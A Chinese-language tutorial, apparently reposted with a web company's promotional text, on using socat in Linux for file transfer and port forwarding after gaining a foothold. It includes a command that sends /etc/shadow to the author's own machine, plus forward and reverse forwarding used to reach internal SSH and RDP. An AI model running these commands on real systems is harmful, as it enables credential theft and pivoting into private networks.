本篇文章給大家分享的是有關(guān)Linux中如何使用socat,小編覺得挺實(shí)用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
創(chuàng)新互聯(lián)是一家專業(yè)提供昌都企業(yè)網(wǎng)站建設(shè),專注與網(wǎng)站制作、成都網(wǎng)站制作、HTML5、小程序制作等業(yè)務(wù)。10年已為昌都眾多企業(yè)、政府機(jī)構(gòu)等服務(wù)。創(chuàng)新互聯(lián)專業(yè)網(wǎng)絡(luò)公司優(yōu)惠進(jìn)行中。
0x01 socat介紹
socat我們在前面也已經(jīng)介紹過了,之前說的是Windows下的利用,如果沒有看到的朋友請移步【socat在Windows下的使用】,socat本身就是在Linux下使用的,非要將它放到Windows下使用難免會(huì)有水土不服嘛,這次就回到Linux上來進(jìn)行socat的使用。
安裝的話,我們可以直接下載安裝的,如果你非要去手動(dòng)編譯的話,就自行去研究吧。
apt-get install socat
完成后來檢驗(yàn)一下是否安裝成功
socat -h
0x02 socat進(jìn)行文件傳輸
首先,我們?nèi)ミ吔鐧C(jī)器執(zhí)行
socat -u /etc/shadow TCP4-LISTEN:55,reuseaddr
然后回到我們本機(jī)來下載,這里我本機(jī)是Windows的,不過不影響
socat.exe -u TCP4:192.168.222.177:55 OPEN:mima.txt,create
跟之前一樣,在哪里執(zhí)行create的,文件就在哪里
0x03 socat正向端口轉(zhuǎn)發(fā)
這里,我們通過邊界主機(jī)去訪問內(nèi)網(wǎng)的主機(jī)
首先我們?nèi)ミ吔缰鳈C(jī)執(zhí)行命令,將來自外部1000的流量全部都轉(zhuǎn)發(fā)到內(nèi)網(wǎng)機(jī)器的3389端口上
socat TCP4-LISTEN:1000,fork TCP4:192.168.222.137:3389
然后我們到本地主機(jī)上連接
0x04 socat反向端口轉(zhuǎn)發(fā)
首先,我們在本地執(zhí)行監(jiān)聽
socat.exe tcp-listen:1000 tcp-listen:1001
然后,我們在邊緣機(jī)器上執(zhí)行命令
注:10.1.135.96是我本地主機(jī)的IP
socat tcp4-connect:10.1.135.96:1000 tcp4:127.0.0.1:22
然后本地連接ssh
當(dāng)然,直接連接內(nèi)網(wǎng)的機(jī)器也是可以的
socat tcp4-connect:10.1.135.96:1000 tcp4:192.168.222.137:3389
然后回到本地連接遠(yuǎn)程桌面
以上就是Linux中如何使用socat,小編相信有部分知識點(diǎn)可能是我們?nèi)粘9ぷ鲿?huì)見到或用到的。希望你能通過這篇文章學(xué)到更多知識。更多詳情敬請關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。
本文標(biāo)題:Linux中如何使用socat
網(wǎng)頁鏈接:http://muchs.cn/article0/gddcio.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供全網(wǎng)營銷推廣、外貿(mào)建站、自適應(yīng)網(wǎng)站、云服務(wù)器、網(wǎng)站改版、App開發(fā)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)